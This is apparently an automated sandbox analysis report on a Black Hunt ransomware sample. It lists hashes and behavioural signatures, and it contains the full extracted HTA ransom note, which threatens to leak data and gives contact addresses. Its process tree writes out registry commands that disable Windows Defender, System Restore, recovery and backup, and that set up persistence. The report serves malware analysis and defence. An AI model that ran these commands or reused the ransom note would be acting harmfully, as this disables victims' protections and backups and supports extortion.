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Analysis

  • max time kernel
    119s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    18/01/2024, 22:50

General

  • Target

    29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe

  • Size

    707KB

  • MD5

    975a37260ad0d4c3e1796f11d5dbee54

  • SHA1

    ef80a57f99336db24a0bd3cc84656ab44b78a946

  • SHA256

    29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8

  • SHA512

    89ebd469262c565cab61f2e0629520a9716368595fa31aa69c874fb18fa6cafb9647d558c14c2c5b3814b0e749250a96ab3e4d29410cf179c3e5dcea86e872da

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza158tvnh:6uaTmkZJ+naie5OTamgEoKxLWkZh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 7wkA1H1YGvZT2r6o </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (2337) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 10 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
    "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2176
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2688
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:2800
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        3⤵
        • Modifies registry class
        PID:2772
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:2596
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:2600
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
      2⤵
        PID:2776
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
          3⤵
            PID:780
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2692
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
            3⤵
            • Adds Run key to start application
            PID:2660
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          2⤵
            PID:2684
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
              3⤵
                PID:2976
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
              2⤵
                PID:2716
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                  3⤵
                    PID:1664
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                  2⤵
                    PID:2564
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                      3⤵
                        PID:2636
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:2244
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:1984
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                          2⤵
                            PID:1940
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                              3⤵
                                PID:1556
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                              2⤵
                                PID:752
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:1808
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                  2⤵
                                    PID:1788
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:1256
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                      2⤵
                                        PID:2860
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                          3⤵
                                            PID:3036
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:2452
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:2336
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:2024
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                  3⤵
                                                    PID:2320
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:1700
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                      3⤵
                                                        PID:1208
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:1920
